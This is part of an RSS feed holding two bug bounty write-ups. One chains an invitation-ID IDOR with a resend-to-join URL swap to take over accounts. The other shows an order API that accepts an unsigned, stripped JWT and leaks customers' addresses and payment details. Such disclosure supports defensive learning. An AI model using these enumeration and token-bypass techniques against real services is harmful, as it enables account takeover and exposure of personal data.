            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*gZ8osYSbgvUglMeM_SEH3w.jpeg" /></figure><p><strong>TL;DR</strong>, From low impact to account takeover to duplicate here is the story of a cool bug i found on a private program at <a href="https://medium.com/u/6f816e37be2c">HackerOne</a>.</p><p>The company redacted.com provided CRM services to users, a user can signup as an organization then invite team members with either admin role or basic user role. The invitation process seemed ok at first everything was being checked perfectly the invitation link had 32 bytes alphanumeric token (NO WAY OF BRUTEFORCING THAT), csrf token checked properly it was all good until i found the first bug</p><h4>IDOR on resend invitation</h4><p>An admin has the ability to view pending invitation and he could also resend invitations, it seems fine the post request was as follows</p><blockquote>POST /invitations/363484/resend HTTP/1.1<br>Host: bugbounty.redacted.com<br>Authorization: Bearer base64 token</blockquote><blockquote>The JSON response contained the email {“status”:”success”,”email”:”email@example.com”}</blockquote><p>The problem was if you change the invitation id you could actually see sent invitations by other companies registered to redacted.com. After creating multiple invites i noticed that the invitation id increments, this also confirmed that there no need to brute force simply use intruder and increment/decrement the id to disclose invited emails of other companies.<br>This by itself is not that important because we cant see any important information in the response except the email.</p><h4>Chaining the first bug with a design flaw</h4><p>Now The real fun started, i grabbed the email reflected in the response, then went on to register an account on redacted.com.<br>After sign up i got redirected to an html page where it said</p><blockquote>Company X has invited you to join them, please use the link in the e-mail.<br>Click on resend invitation to receive the email again</blockquote><p>Copied the resend invitation link on that page it looked something like</p><blockquote>https://www.redacted.com/resend_invitation/TOKEN</blockquote><p>Went over to check my email it had the same link except that instead of <em>resend_invitation</em> they used <em>join</em> so the link was like</p><blockquote>https://www.redacted.com/join/TOKEN</blockquote><p>So i went back to the tab replaced resend_invitation with join and boom! i got in. An attacker could takeover arbitrary accounts with this vulnerability simply by leveraging the first IDOR, and signup every email that gets reflected back in the json respone.</p><p>This was a duplicate report but it was a cool one. <br><em>To the original reporter if you are reading this then well done ;)</em></p><p>Till next time,<br>Happy hunting everyone,</p><p><a href="https://medium.com/u/d5bc3c7f04c0">Plenum</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=236835685075" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/duplicate-but-still-cool-236835685075">DUPLICATE BUT STILL COOL</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IDOR IN JWT AND THE SHORTEST TOKEN YOU WILL EVER SEE {}.{“uid”: “1234567890”}]]></title>
            <link>https://infosecwriteups.com/idor-in-jwt-and-the-shortest-token-you-will-ever-see-uid-1234567890-4e02377ea03a?source=rss-d5bc3c7f04c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/4e02377ea03a</guid>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[api]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Plenum]]></dc:creator>
            <pubDate>Tue, 30 Oct 2018 11:10:06 GMT</pubDate>
            <atom:updated>2018-11-07T09:51:15.824Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>TL;DR</strong>, JWT is in use by many of the big companies but some implementations are not that safe here is a bug that got me 1,500$</p><p>Earlier this year i was participating in a bugbounty program on <a href="https://medium.com/u/6f816e37be2c">HackerOne</a>, the app allowed customers to order products, it seemed pretty solid, i managed to find some interesting character transformation issue so i spent hours trying to get stored xss but no luck so after a couple of days i was a bit let down. I closed burpsuite started a new project and decided to start over from the beginning.</p><p>I typed the address lets say <a href="http://example.com/">http://example.com</a> and logged in using my girlfriends account (i didn’t want to order anything) upon login i noticed a crossorigin pre-flight request to an api endpoint which looked something like</p><blockquote>OPTIONS / HTTP/1.1<br>Host: customer-order-status.example.net<br>Content-Type: application/json<br>Connection: close</blockquote><p>Later on using the app my girlfriend ordered a product on this app and she could check the status of her order, the check order request looked something like this</p><blockquote>GET /api/v1/order_statuses/{order_id} HTTP/1.1<br>Host: customer-order-status.example.net<br>Authorization: Bearer JWT TOKEN<br>Content-Type: application/json<br>Connection: close</blockquote><p>The JSON response contained personal account information including delivery address, order details, payment method, payment amount… All the juicy stuff</p><p>The JWT token had the session id and user id and signed with HS256, pretty good right but no the api did not validate any of that</p><blockquote>{“alg”: “HS256”,“typ”: “JWT”}.{“uid”: “1234567890”,“sessionid”: “ALPHANUMERIC ID”}.SIGNATURE</blockquote><p>The shorter version i ended up using of the authorization Token looked like</p><blockquote>{}.{“uid”: “1234567890”}</blockquote><p>So i could query this api endpoint using the above JWT token and the response was valid. This also worked when using past order ids</p><p>To exploit this effectively by an attacker some level of brute-forcing was needed to query random users information given the fact that there are two variables the user id and the order id this was a bit hard to exploit, what made this dangerous however is that the server did not implement request limits so it could potentially make the brute-force attack feasible.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4e02377ea03a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/idor-in-jwt-and-the-shortest-token-you-will-ever-see-uid-1234567890-4e02377ea03a">IDOR IN JWT AND THE SHORTEST TOKEN YOU WILL EVER SEE {}.{“uid”: “1234567890”}</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>